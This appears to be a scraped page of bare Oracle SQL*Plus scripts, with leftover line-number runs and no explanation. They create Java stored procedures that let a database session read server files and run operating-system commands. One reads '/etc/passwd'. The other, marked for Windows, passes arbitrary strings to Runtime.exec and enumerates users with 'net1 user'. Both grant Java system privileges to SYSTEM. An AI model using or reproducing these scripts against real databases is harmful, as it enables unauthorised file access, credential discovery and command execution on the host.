1
--code
2
set serveroutput on
3
Create or REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE"
4
AS
5
import java.lang.*;
6
import java.io.*;
7
public class JAVAREADFILE
8
{
9
public static void readfile(String filename) throws IOException
10
{
11
FileReader f = new FileReader(filename);
12
BufferedReader fr = new BufferedReader(f);
13
String text = fr.readLine();
14
while(text != null)
15
{
16
System.out.println(text);
17
text = fr.readLine();
18
}
19
fr.close();
20
}
21
}
22
/
23
Create or REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
24
AS LANGUAGE JAVA
25
NAME 'JAVAREADFILE.readfile(java.lang.String)';
26
/
27
exec dbms_java.set_output(5000);
28
grant javasyspriv to system;
29
grant javauserpriv to system;
30
exec JAVAREADFILEPROC('/etc/passwd')
31
--code
32

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

for windows
1
--code
2
create or replace and compile
3
java souRCe named "util"
4
as
5
import java.io.*;
6
import java.lang.*;
7
public class util extends Object
8
{
9
public static int RunThis(String args)
10
{
11
Runtime rt = Runtime.getRuntime();
12
int RC = -1;
13
try
14
{
15
Process p = rt.exec(args);
16
int bufSize = 4096;
17
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
18
int len;
19
byte buffer[] = new byte[bufSize];
20
// Echo back what the program spit out
21
while ((len = bis.read(buffer
22
, 0, bufSize)) != -1)
23
System.out.write(buffer, 0, len);
24
RC = p.waitFor();
25
}
26
catch (Exception e)
27
{
28
e.printStackTrace();
29
RC = -1;
30
}
31
finally
32
{
33
return RC;
34
}
35
}
36
}
37
/
38
create or replace
39
function RUN_CMz(p_cmd in varchar2) return number
40
as
41
language java
42
name 'util.RunThis(java.lang.String) return integer';
43
/
44
create or replace procedure RC(p_cmd in varChar)
45
as
46
x number;
47
begin
48
x := RUN_CMz(p_cmd);
49
end;
50
/
51
variable x number;
52
set serveroutput on;
53
exec dbms_java.set_output(100000);
54
grant javasyspriv to system;
55
grant javauserpriv to system;
56
exec :x:=run_cmz('net1 user');
57
--code

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57
